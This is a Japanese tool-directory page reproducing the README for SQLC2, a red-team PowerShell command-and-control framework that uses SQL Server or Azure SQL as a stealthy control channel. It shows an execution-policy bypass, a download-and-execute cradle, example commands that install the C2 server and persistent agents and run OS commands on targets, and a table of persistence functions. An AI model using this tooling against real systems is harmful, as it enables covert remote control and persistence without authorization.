Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/netspi/sqlc2
永続化メカニズムペネトレーションテストクラウドセキュリティコマンド&コントロールレッドチーミングデータベースセキュリティ
GitHubnetspi/sqlc2

SQLC2

SQLC2は、SQL Serverをコントロールサーバーとエージェントの両方として使用するコマンド&コントロールシステムを展開・管理するためのPowerShellスクリプトです。

リポジトリを見る
752133年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

SQLC2

SQLC2は、SQL Serverをコントロールサーバーとエージェントの両方として使用するコマンド&コントロールシステムを展開および管理するためのPowerShellスクリプトです。 中核となるのは、SQLC2は単なるPowerShellスクリプト、TSQLスクリプト、そしてSQL Serverインスタンス内のエージェント、コマンド、結果を追跡するいくつかのテーブルにすぎません。凝ったものではありませんが、一部のエンゲージメントでは役立つかもしれません。

SQLC2のより完全な概要については、https://blog.netspi.com/databases-and-clouds-sql-server-as-a-c2/ のブログを参照してください。

作者とライセンス

  • 作者: Scott Sutherland (@_nullbind)、NetSPI - 2018
  • ライセンス: BSD 3-Clause
  • 必要な依存関係: なし

なぜSQL ServerベースのC2を使うのか?

Azure SQL Serverデータベースを使い始める企業が増えています。これらのAzure SQL Serverインスタンスが作成されると、database.windows.netのサブドメインを介してポート1433でアクセス可能になります。たとえば、"mysupersqlserver.database.windows.net"という名前のSQL Serverインスタンスを作成できます。その結果、一部の企業ネットワーク構成では、ポート1433の任意の"database.windows.net"サブドメインへのアウトバウンドインターネットアクセスが許可されています。

基本的な考え方は、Azure SQL Serverの採用が増えるにつれて、通常のトラフィックのように見えるコントロールチャネルとしてSQL Serverを利用する機会が増えるだろうということです。 SQLPSはかなり基本的な概念実証ですが、このアイデアを示すには十分に機能すると思います。改善すべき点はかなりあると分かっていますが、もし試していただけたら、フィードバックをお寄せください。

Azureだけの話ではない

SQLC2をAzure SQL Serverインスタンスと一緒に使用することに重点を置いていますが、任意のクラウド環境で独自のSQL Serverをホストし、SSLを有効にしてポート443で待ち受けることもできます。つまり、どれだけ労力をかけるか次第で、もう少し柔軟性が得られる可能性があります。

SQLC2の読み込み

  • オプション1: スクリプトをダウンロードしてインポートします。 これには管理者権限は不要で、現在のセッションにのみインポートされます。 ただし、制限付きの実行ポリシーによってブロックされる可能性があるため、バイパスオプションを使用することをお勧めします。

    Set-ExecutionPolicy Bypass -Scope Process

    Import-Module SQLC2.ps1

  • オプション2: ダウンロードクレードルを介してセッションに読み込みます。 これには管理者権限は不要で、現在のセッションにのみインポートされます。 実行ポリシーによってブロックされることはありません。

    IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/SQLC2/master/SQLC2.ps1")

    注記: 別のドメインユーザーとして実行するには、最初にrunasコマンドを使用してPowerShellを起動してください。

    runas /noprofile /netonly /user:domain\user PowerShell.exe

SQLC2の基本アーキテクチャ図

SQLC2Arch

ユーザー関数

以下に、意図したワークフローをサポートするユーザー関数の一覧を示します。

スクリーンショット

以下はサンプルのスクリーンショットです。

SQLC2サーバーのインストール(テーブルの作成):

Install-SQLC2Server -Verbose -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'

Install C2

SQLC2エージェントのインストール(サーバーリンクを使用するSQL Serverエージェントジョブ):

Install-SQLC2AgentPs -Verbose -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'

Install Agent

SQLC2エージェントの表示:

Get-SQLC2Agent -Verbose -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'

SQLC2Arch

エージェントで実行するコマンドの設定:

Set-SQLC2Command -Verbose -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!' -Command "Whoami" -ServerName MSSQLSRV04

Set_Command

コマンド結果の取得:

Get-SQLC2Result -Verbose -ServerName "MSSQLSRV04" -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'

Get Command Output

ツールをダウンロード
関数名説明
Install-SQLC2ServerターゲットのSQL Server/データベースにSQLC2テーブルをインストールします。
Install-SQLC2AgentPsSQL Serverエージェントジョブとサーバーリンクを使用するエージェントをインストールします。
Install-SQLC2AgentLinkスケジュールタスクまたはレジストリキーを使用してPowerShellコマンドを実行するエージェントをインストールします。
Set-SQLC2Commandエージェントが実行するオペレーティングシステムコマンドを設定します。
Get-SQLC2Commandエージェント向けにC2から保留中のオペレーティングシステムコマンドの一覧を取得します。 -Executeフラグを使用して、保留中のコマンドを実行することもできます。
Get-SQLC2AgentSQLC2サーバーに登録されているエージェントの一覧を取得します。
Get-SQLC2Result保留中および完了したコマンドの一覧を取得します。servername、status、cidフィルターに対応しています。
Remove-SQLC2AgentSQLC2に登録されているエージェントを削除します。履歴をクリアするだけです。
Remove-SQLC2CommandSQLC2サーバー上のコマンド履歴を削除します。
Uninstall-SQLC2AgentLinkサーバーリンクとエージェントジョブを使用するSQLC2エージェントをアンインストールします。
Uninstall-SQLC2AgentPsオペレーティングシステムベースの永続化方法をすべてアンインストールします。
Uninstall-SQLC2ServerターゲットデータベースからSQLC2テーブルを削除します。